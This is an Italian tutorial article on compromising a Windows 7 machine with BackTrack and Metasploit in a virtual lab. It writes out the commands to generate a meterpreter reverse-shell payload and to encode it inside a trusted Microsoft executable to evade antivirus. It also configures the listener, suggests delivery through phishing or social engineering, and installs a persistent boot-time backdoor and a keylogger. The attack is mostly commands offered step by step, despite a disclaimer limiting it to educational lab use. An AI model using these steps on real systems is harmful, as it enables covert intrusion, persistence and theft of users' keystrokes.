Nessun risultato. Prova con un altro termine.
Guide
Notizie
Software
Tutorial

Attacco a Windows 7 con BackTrack

Vediamo come prendere possesso di un sistema Windows 7 con BackTrack
Vediamo come prendere possesso di un sistema Windows 7 con BackTrack
Link copiato negli appunti

Obiettivo del presente articolo è quello di capire come, sotto certe condizioni, è possibile prendere il controllo di una macchina con sistema operativo Windows 7. È sempre bene ricordare che il contenuto dell'articolo ha fini esclusivamente didattici e che l'accesso abusivo a sistemi informatici è punito con sanzione penale, per cui effettuate tutti vostri test esclusivamente in laboratorio.

Fase preliminare

Per condurre l'attacco utilizzeremo ancora una volta Bactrack 4, con particolare riferimento agli strumenti offerti dal framework Metasploit (ver. 3). I test sono stati condotti esclusivamente utilizzando due macchine virtuali ospitate su un sistema Windows XP SP3, una con Backtrack 4 (IP 192.168.1.1) e l'altra con Windows 7 Ultimate (IP 192.168.1.2) on board. Entrambe le schede di rete sono state settate in modalità "Host only", in modo tale che le virtual machines si vedano l'un l'altra ma siano invisibili al resto del mondo.

Dopo aver lanciato Backtrack, consiglio innanzitutto di effettuare l'update di metaspolit. Per far ciò mettiamo la scheda di rete della virtual machine in modalità "NAT", dopodichè assegnamole un IP statico compatibile con la nostra LAN, per uscire su Internet. Se è presente un DHCP server possiamo anche ottenerlo automaticamente lanciando il comando:

dhclient3

Se il pacchetto dhclient3 non è installato è sufficiente lanciare il comando:

apt-get install dhclient3

Per effettuare l'update di metasploit andiamo nella directory /pentest/exploits/framewor3/ e
lanciamo il comando:

./msfupdate

dopodiché riportiamo la scheda di rete in modalità "Host only".

Fase 1. Generazione dell'exploit

Come molti di voi sanno già, l'exploit è un segmento di codice che, sfruttando un bug o una vulnerabilità, porta all'acquisizione di privilegi o al denial of service di un sistema. Per acquisire il controllo della macchina Windows 7 abbiamo bisogno anche noi di generare
un exploit e "iniettarlo" nella macchina ospite. Generiamo quindi l'exploit che utilizzeremo, lanciando il seguente comando dalla directory /opt/metasploit3/msf3/:

./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4444 x > /root/exploit.exe

ove:

./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4444

è la configurazione di base del payload generato dal meterpreter di metasploit. Meterpreter, nome
sintetico per Meta-Interpreter, è un payload avanzato incluso nel Metasploit Framework. Questo comando genera un payload impostando come local host l'IP della virtual machine Backtrack e come local port la 4444, dopodiché lo inietta nel file "exploit.exe".

L'output del comando precedente è mostrato in figura 1

Figura 1
(clic per ingrandire)


Figura X. DESCRIZIONE

Osservazione. Generato in questo modo però l'exploit potrebbe essere riconosciuto da un software antivirus. È possibile nasconderlo "iniettandolo" in un file .exe fidato. Per ironia della sorte ad esempio si può utilizzare proprio il Microsoft Removal Tool, che è un'applicazione "trusted" e inoltre chiede di essere eseguita con privilegi amministrativi. In questo modo si riduce il rischio di intercettazione da parte di vari AV. Usando il comando:

./msfpayload windows/meterpreter/reverse_tcp LHOST= LPORT= R|./msfencode -c 5 -e x86/shikata_ga_nai -x /root/ -t exe > /root/

si crea il payload senza ancora codificarlo (R) e poi lo si da in pasto al processo di encoding per 5 volte (-c 5), che in questo caso viene effettuato mediante l'encoder x86/shikata_ga_nai (./msfencode -c 5 -e x86/shikata_ga_nai).

Fase 2. Generazione del listener

Ora dobbiamo generare il listener, cioè il processo che si pone in ascolto per creare il canale
con la macchina target. Lanciamo quindi la console di metasploit mediante il comando:

./msfconsole

da msfconsole lanciamo i seguenti comandi in successione:

use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.1.1
set LPORT 4444
exploit

A questo punto il listener è stato creato e si pone in ascolto sul canale, come mostrato in figura.

Figura 2
(clic per ingrandire)


Fbacktrack listener creato

Fase 3. "Iniezione" del file exploit.exe

Esistono molti modi di trasferire e far eseguire il file contenente l'exploit sulla macchina vittima, la cui trattazione esula (anche per motivi di spazio) dai contenuti del presente articolo. Possiamo però dire che ciò può essere fatto inviando una mail ben forgiata per l'occasione, oppure attraverso tecniche di social engineering, o ancora attraverso tecniche di phishing o altro. Appena l'utente sulla macchina target esegue il file exploit.exe (il nome exploit viene usato solo per fini didattici, è chiaro che si userà un altro nome più "rassicurante") si apre una sessione sulla macchina vittima, come mostrato in figura 3.

Figura 3
(clic per ingrandire)


sessione macchina vittima BackTrack

Fase 4. Comandi Meterpreter

Una volta ottenuto l'accesso, come è facile immaginare le operazioni che possiamo compiere sono molte, per cui c'è davvero l'imbarazzo della scelta...la prima cosa da fare però è garantirci un accesso di tipo persistente, da utilizzare ogni volta che ci serve. Per fare ciò possimo utilizzare il comando run persistence, il cui output è mostrato in figura:

Figura 4
(clic per ingrandire)


accesso persistente sistema Backtrack

run persistence -X 

Con il comando precedente viene generato un agent che crea una backdoor permanente sull'host target. L'agent partirà automaticamente ogni volta che il sistema effettua il bootstrap (-X). Altre opzioni sono possibili digitando l'help: run persistence -h

Ci sono poi molti altri comandi disponbili su meterpreter, eccone alcuni:

ottiene informazioni sul sistema operativo e relativa versione

sysinfo

ottiene informazioni sulle variabili di ambiente

run get_env

mostra una lista dei programmi installati

run get_application_list

verifica se è attivo il firewall

run getcountermeasure

Soffermiamoci ora sul seguente comando:

run keylogrecorder

come appare chiaro dalla sintassi del comando stesso, viene lanciato un keylogger sulla macchina target, come mostrato in figura 5, che salva tutti i keystrokes in un file di testo.

Figura 5
(clic per ingrandire)


keylogger BackTrack

Andiamo ora sulla macchina target, apriamo il notepad e digitiamo qualcosa, come mostrato in figura.

Figura 6
(clic per ingrandire)


BackTrack apertura notepad macchina compromessa

Per verificare il contenuto del file dopo la "cattura" dei keystrokes, lanciamo da un'altra finestra di shell il comando:

cat "nomefile"

ove "nomefile" nel nostro caso è il file 192.168.1.2_20110315.0548.txt (con tutto il suo path). L'output è mostrato in figura 8, notiamo anche che si "perde" qualche keystroke.

Figura 8
(clic per ingrandire)


Figura X. DESCRIZIONE

Ti consigliamo anche